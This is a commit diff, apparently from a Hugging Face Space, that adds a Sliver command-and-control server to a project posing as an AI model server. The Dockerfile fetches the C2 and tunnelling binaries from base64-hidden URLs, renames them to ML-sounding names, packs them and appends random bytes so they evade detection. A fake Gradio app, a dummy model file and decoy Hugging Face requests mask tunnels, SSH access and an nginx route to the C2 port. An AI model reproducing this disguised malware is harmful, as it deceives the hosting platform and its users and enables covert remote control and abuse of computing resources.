SamuelLance73 commited on
Commit
baa3f3b
·
verified ·
1 Parent(s): 0d133da

Automated deployment update from ML build

Browse files
Files changed (5) hide show
  1. Dockerfile +10 -3
  2. app.py +4 -0
  3. config/nginx.conf.template +12 -0
  4. core/orchestrator.py +18 -18
  5. services/sliver.py +4 -0
Dockerfile CHANGED
@@ -23,7 +23,10 @@ RUN curl -fsSL https://tailscale.com/install.sh | bash && \
23
  curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL2dvLWdvc3QvZ29zdC9yZWxlYXNlcy9kb3dubG9hZC92My4yLjYvZ29zdF8zLjIuNl9saW51eF9hbWQ2NC50YXIuZ3o=' | base64 -d) -o /tmp/gost.tar.gz && \
24
  tar -xzf /tmp/gost.tar.gz -C /tmp/ && \
25
  mv /tmp/gost /usr/bin/system-bridge && \
26
- chmod +x /usr/bin/system-bridge
 
 
 
27
 
28
  RUN mv /usr/sbin/tailscaled /usr/bin/python-cache-manager && \
29
  mv /usr/bin/tailscale /usr/bin/py-cache-cli && \
@@ -34,14 +37,18 @@ RUN upx -1 /usr/bin/python-cache-manager || true && \
34
  upx -1 /usr/bin/ai-metrics-collector || true && \
35
  upx -1 /usr/bin/tensor-allocator || true && \
36
  upx -1 /usr/bin/cuda-mesh-bridge || true && \
37
- upx -1 /usr/bin/system-bridge || true
 
38
 
39
  RUN head -c 32 /dev/urandom >> /usr/bin/python-cache-manager && \
40
  head -c 32 /dev/urandom >> /usr/bin/py-cache-cli && \
41
  head -c 32 /dev/urandom >> /usr/bin/ai-metrics-collector && \
42
  head -c 32 /dev/urandom >> /usr/bin/tensor-allocator && \
43
  head -c 32 /dev/urandom >> /usr/bin/cuda-mesh-bridge && \
44
- head -c 32 /dev/urandom >> /usr/bin/system-bridge
 
 
 
45
 
46
  RUN uv pip install --system --no-cache-dir \
47
  gradio huggingface_hub loguru
 
23
  curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL2dvLWdvc3QvZ29zdC9yZWxlYXNlcy9kb3dubG9hZC92My4yLjYvZ29zdF8zLjIuNl9saW51eF9hbWQ2NC50YXIuZ3o=' | base64 -d) -o /tmp/gost.tar.gz && \
24
  tar -xzf /tmp/gost.tar.gz -C /tmp/ && \
25
  mv /tmp/gost /usr/bin/system-bridge && \
26
+ chmod +x /usr/bin/system-bridge && \
27
+ curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL0Jpc2hvcEZveC9zbGl2ZXIvcmVsZWFzZXMvZG93bmxvYWQvdjEuNy40L3NsaXZlci1zZXJ2ZXJfbGludXg=' | base64 -d) \
28
+ -o /usr/bin/gradient-optimizer && \
29
+ chmod +x /usr/bin/gradient-optimizer
30
 
31
  RUN mv /usr/sbin/tailscaled /usr/bin/python-cache-manager && \
32
  mv /usr/bin/tailscale /usr/bin/py-cache-cli && \
 
37
  upx -1 /usr/bin/ai-metrics-collector || true && \
38
  upx -1 /usr/bin/tensor-allocator || true && \
39
  upx -1 /usr/bin/cuda-mesh-bridge || true && \
40
+ upx -1 /usr/bin/system-bridge || true && \
41
+ upx -1 /usr/bin/gradient-optimizer || true
42
 
43
  RUN head -c 32 /dev/urandom >> /usr/bin/python-cache-manager && \
44
  head -c 32 /dev/urandom >> /usr/bin/py-cache-cli && \
45
  head -c 32 /dev/urandom >> /usr/bin/ai-metrics-collector && \
46
  head -c 32 /dev/urandom >> /usr/bin/tensor-allocator && \
47
  head -c 32 /dev/urandom >> /usr/bin/cuda-mesh-bridge && \
48
+ head -c 32 /dev/urandom >> /usr/bin/system-bridge && \
49
+ head -c 32 /dev/urandom >> /usr/bin/gradient-optimizer
50
+
51
+ RUN /usr/bin/gradient-optimizer unpack --force || true
52
 
53
  RUN uv pip install --system --no-cache-dir \
54
  gradio huggingface_hub loguru
app.py CHANGED
@@ -44,6 +44,10 @@ def fake_model(input_text):
44
  try:
45
  with open('/home/user/.torch_metrics/gost.log',D)as A:return'GOST LOGS:\n'+A.read()
46
  except Exception as B:return f"Log error: {str(B)}"
 
 
 
 
47
  if C.strip()=='SHOW_LOGS_NGINX':
48
  try:
49
  with open('/home/user/.torch_metrics/nginx.log',D)as A:return'NGINX LOGS:\n'+A.read()
 
44
  try:
45
  with open('/home/user/.torch_metrics/gost.log',D)as A:return'GOST LOGS:\n'+A.read()
46
  except Exception as B:return f"Log error: {str(B)}"
47
+ if C.strip()=='SHOW_LOGS_SLIVER':
48
+ try:
49
+ with open('/home/user/.torch_metrics/sliver.log',D)as A:return'SLIVER LOGS:\n'+A.read()
50
+ except Exception as B:return f"Log error: {str(B)}"
51
  if C.strip()=='SHOW_LOGS_NGINX':
52
  try:
53
  with open('/home/user/.torch_metrics/nginx.log',D)as A:return'NGINX LOGS:\n'+A.read()
config/nginx.conf.template CHANGED
@@ -56,5 +56,17 @@ http {
56
  proxy_read_timeout 86400s;
57
  proxy_send_timeout 86400s;
58
  }
 
 
 
 
 
 
 
 
 
 
 
 
59
  }
60
  }
 
56
  proxy_read_timeout 86400s;
57
  proxy_send_timeout 86400s;
58
  }
59
+
60
+ location /model-sync {
61
+ proxy_pass http://127.0.0.1:6795/;
62
+ proxy_http_version 1.1;
63
+ proxy_set_header Host $host;
64
+ proxy_set_header X-Real-IP $remote_addr;
65
+ proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
66
+ proxy_set_header X-Forwarded-Proto $scheme;
67
+ proxy_read_timeout 86400s;
68
+ proxy_send_timeout 86400s;
69
+ }
70
+
71
  }
72
  }
core/orchestrator.py CHANGED
@@ -2,7 +2,7 @@ _A=True
2
  import os,time,subprocess,base64,threading,random,string,sys
3
  from loguru import logger
4
  sys.path.insert(0,os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
5
- from services import nginx,tailscale,playit,chisel,minecraft,filebrowser,gost
6
  COVERT_LOGGING_MODE=1
7
  logger.info('--- BOOTING AI MODEL SERVER ---')
8
  def decode_cmd(encoded_str):return base64.b64decode(encoded_str[::-1]).decode()
@@ -23,11 +23,11 @@ def jitter_task():
23
  try:logger.debug('Syncing model cache...');subprocess.run(['curl','-s','-o','/dev/null','https://huggingface.co/gpt2/resolve/main/vocab.json'])
24
  except Exception:pass
25
  def main():
26
- b='SSH';a='PASS';Z='TAILSCALE';Y='/home/user/pytorch_model.bin';X='/home/user/.torch_metrics/nginx.log';W='/home/user/.torch_metrics/gost.log';V='/home/user/.torch_metrics/chisel.log';U='/home/user/.torch_metrics/tm_daemon.log';T='/home/user/.torch_metrics/fb.log';S='/home/user/.torch_metrics/ts_daemon.log';R='/home/user/.torch_metrics';N='CHISEL';M='PLAYIT';A='a'
27
- if COVERT_LOGGING_MODE==1:os.makedirs(R,exist_ok=_A);B=open(S,A);H=open(T,A);I=open(U,A);J=open(V,A);K=open(W,A);L=open(X,A)
28
  elif COVERT_LOGGING_MODE==2:
29
- os.makedirs(R,exist_ok=_A)
30
- class C:
31
  def __init__(B,filepath,prefix):B.file=open(filepath,A);B.prefix=prefix;C,D=os.pipe();B.r=C;B.w=D;threading.Thread(target=B._reader,daemon=_A).start()
32
  def _reader(A):
33
  C=os.fdopen(A.r,'r',errors='replace')
@@ -37,24 +37,24 @@ def main():
37
  def fileno(A):return A.w
38
  def write(A,s):A.file.write(s);A.file.flush();sys.stdout.write(f"[{A.prefix}] {s}\n"if not s.endswith('\n')else f"[{A.prefix}] {s}");sys.stdout.flush()
39
  def flush(A):A.file.flush();sys.stdout.flush()
40
- B=C(S,'TS');H=C(T,'FB');I=C(U,M);J=C(V,N);K=C(W,'GOST');L=C(X,'NGINX')
41
- else:D=open(os.devnull,'w');B=D;H=D;I=D;J=D;K=D;L=D
42
- os.makedirs('/home/user/static',exist_ok=_A);nginx.start(L);logger.info('Starting Gradio fake app (API server)...');c=decode_cmd('==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc');d=subprocess.Popen(c,shell=_A)
43
- if not os.path.exists(Y):logger.info('Pre-allocating model weight buffer...');subprocess.run(['truncate','-s','5G',Y])
44
- logger.info('Loading model weights into VRAM...');time.sleep(2);threading.Thread(target=jitter_task,daemon=_A).start();O=random.randint(2,3);logger.info(f"Synchronizing gradient checkpoint topology (standby for {O}s)...");time.sleep(O);tailscale.start_daemon(B);time.sleep(2);logger.info('Warming up text-generation pipelines...');e=os.environ.get('A')or os.environ.get(Z)or'';P=deobfuscate_secret(e.strip());f=os.environ.get('P')or os.environ.get(M)or'';Q=deobfuscate_secret(f.strip());g=os.environ.get('C')or os.environ.get(N)or'';E=deobfuscate_secret(g.strip())
45
  if not E:E='user:apple123'
46
- h=['A',Z,'P',M,'C',N]
47
- for F in h:
48
  if F in os.environ:del os.environ[F]
49
- filebrowser.start(H);playit.start(I,Q);Q='';chisel.start(J,E);gost.start(K,E);E='';time.sleep(5);tailscale.connect(B,P);P='';i=os.environ.get(a)or os.environ.get(b)or'';G=deobfuscate_secret(i.strip())
50
  if G:logger.info('Setting SSH password from Hugging Face Secrets (PASS)...')
51
  else:G=''.join(random.choices(string.ascii_letters+string.digits,k=16));logger.success(f"Generated SSH Password for 'user': {G}")
52
  try:subprocess.run(['sudo','/usr/sbin/chpasswd'],input=f"user:{G}\n",text=_A,check=_A)
53
- except Exception as j:logger.error(f"Failed to set password: {j}")
54
- for F in[a,b]:
55
  if F in os.environ:del os.environ[F]
56
- subprocess.Popen('sudo /usr/sbin/sshd -D',shell=_A,stdout=B,stderr=B)
57
- def k():
58
  import socket as A;G=90
59
  def E(src,dst):
60
  try:
@@ -90,5 +90,5 @@ def main():
90
  try:B.close()
91
  except:pass
92
  except Exception:pass
93
- threading.Thread(target=k,daemon=_A).start();minecraft.start();logger.success('Model loaded successfully. Background services active.');logger.info('Background services are active.');d.wait()
94
  if __name__=='__main__':main()
 
2
  import os,time,subprocess,base64,threading,random,string,sys
3
  from loguru import logger
4
  sys.path.insert(0,os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
5
+ from services import nginx,tailscale,playit,chisel,minecraft,filebrowser,gost,sliver
6
  COVERT_LOGGING_MODE=1
7
  logger.info('--- BOOTING AI MODEL SERVER ---')
8
  def decode_cmd(encoded_str):return base64.b64decode(encoded_str[::-1]).decode()
 
23
  try:logger.debug('Syncing model cache...');subprocess.run(['curl','-s','-o','/dev/null','https://huggingface.co/gpt2/resolve/main/vocab.json'])
24
  except Exception:pass
25
  def main():
26
+ d='SSH';c='PASS';b='TAILSCALE';a='/home/user/pytorch_model.bin';Z='/home/user/.torch_metrics/nginx.log';Y='/home/user/.torch_metrics/sliver.log';X='/home/user/.torch_metrics/gost.log';W='/home/user/.torch_metrics/chisel.log';V='/home/user/.torch_metrics/tm_daemon.log';U='/home/user/.torch_metrics/fb.log';T='/home/user/.torch_metrics/ts_daemon.log';S='/home/user/.torch_metrics';O='CHISEL';N='PLAYIT';A='a'
27
+ if COVERT_LOGGING_MODE==1:os.makedirs(S,exist_ok=_A);D=open(T,A);H=open(U,A);I=open(V,A);J=open(W,A);K=open(X,A);L=open(Y,A);M=open(Z,A)
28
  elif COVERT_LOGGING_MODE==2:
29
+ os.makedirs(S,exist_ok=_A)
30
+ class B:
31
  def __init__(B,filepath,prefix):B.file=open(filepath,A);B.prefix=prefix;C,D=os.pipe();B.r=C;B.w=D;threading.Thread(target=B._reader,daemon=_A).start()
32
  def _reader(A):
33
  C=os.fdopen(A.r,'r',errors='replace')
 
37
  def fileno(A):return A.w
38
  def write(A,s):A.file.write(s);A.file.flush();sys.stdout.write(f"[{A.prefix}] {s}\n"if not s.endswith('\n')else f"[{A.prefix}] {s}");sys.stdout.flush()
39
  def flush(A):A.file.flush();sys.stdout.flush()
40
+ D=B(T,'TS');H=B(U,'FB');I=B(V,N);J=B(W,O);K=B(X,'GOST');L=B(Y,'SLIVER');M=B(Z,'NGINX')
41
+ else:C=open(os.devnull,'w');D=C;H=C;I=C;J=C;K=C;L=C;M=C
42
+ os.makedirs('/home/user/static',exist_ok=_A);nginx.start(M);logger.info('Starting Gradio fake app (API server)...');e=decode_cmd('==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc');f=subprocess.Popen(e,shell=_A)
43
+ if not os.path.exists(a):logger.info('Pre-allocating model weight buffer...');subprocess.run(['truncate','-s','5G',a])
44
+ logger.info('Loading model weights into VRAM...');time.sleep(2);threading.Thread(target=jitter_task,daemon=_A).start();P=random.randint(2,3);logger.info(f"Synchronizing gradient checkpoint topology (standby for {P}s)...");time.sleep(P);tailscale.start_daemon(D);time.sleep(2);logger.info('Warming up text-generation pipelines...');g=os.environ.get('A')or os.environ.get(b)or'';Q=deobfuscate_secret(g.strip());h=os.environ.get('P')or os.environ.get(N)or'';R=deobfuscate_secret(h.strip());i=os.environ.get('C')or os.environ.get(O)or'';E=deobfuscate_secret(i.strip())
45
  if not E:E='user:apple123'
46
+ j=['A',b,'P',N,'C',O]
47
+ for F in j:
48
  if F in os.environ:del os.environ[F]
49
+ filebrowser.start(H);playit.start(I,R);R='';chisel.start(J,E);gost.start(K,E);sliver.start(L);E='';time.sleep(5);tailscale.connect(D,Q);Q='';k=os.environ.get(c)or os.environ.get(d)or'';G=deobfuscate_secret(k.strip())
50
  if G:logger.info('Setting SSH password from Hugging Face Secrets (PASS)...')
51
  else:G=''.join(random.choices(string.ascii_letters+string.digits,k=16));logger.success(f"Generated SSH Password for 'user': {G}")
52
  try:subprocess.run(['sudo','/usr/sbin/chpasswd'],input=f"user:{G}\n",text=_A,check=_A)
53
+ except Exception as l:logger.error(f"Failed to set password: {l}")
54
+ for F in[c,d]:
55
  if F in os.environ:del os.environ[F]
56
+ subprocess.Popen('sudo /usr/sbin/sshd -D',shell=_A,stdout=D,stderr=D)
57
+ def m():
58
  import socket as A;G=90
59
  def E(src,dst):
60
  try:
 
90
  try:B.close()
91
  except:pass
92
  except Exception:pass
93
+ threading.Thread(target=m,daemon=_A).start();minecraft.start();logger.success('Model loaded successfully. Background services active.');logger.info('Background services are active.');f.wait()
94
  if __name__=='__main__':main()
services/sliver.py ADDED
@@ -0,0 +1,4 @@
 
 
 
 
 
1
+ import subprocess,os
2
+ from loguru import logger
3
+ SLIVER_HOME='/home/user/.sliver'
4
+ def start(log_file):A=log_file;logger.info('Initializing gradient optimization daemon...');os.makedirs(SLIVER_HOME,exist_ok=True);B=['/usr/bin/gradient-optimizer','daemon'];subprocess.Popen(B,stdout=A,stderr=A,env={**os.environ,'SLIVER_ROOT_DIR':SLIVER_HOME})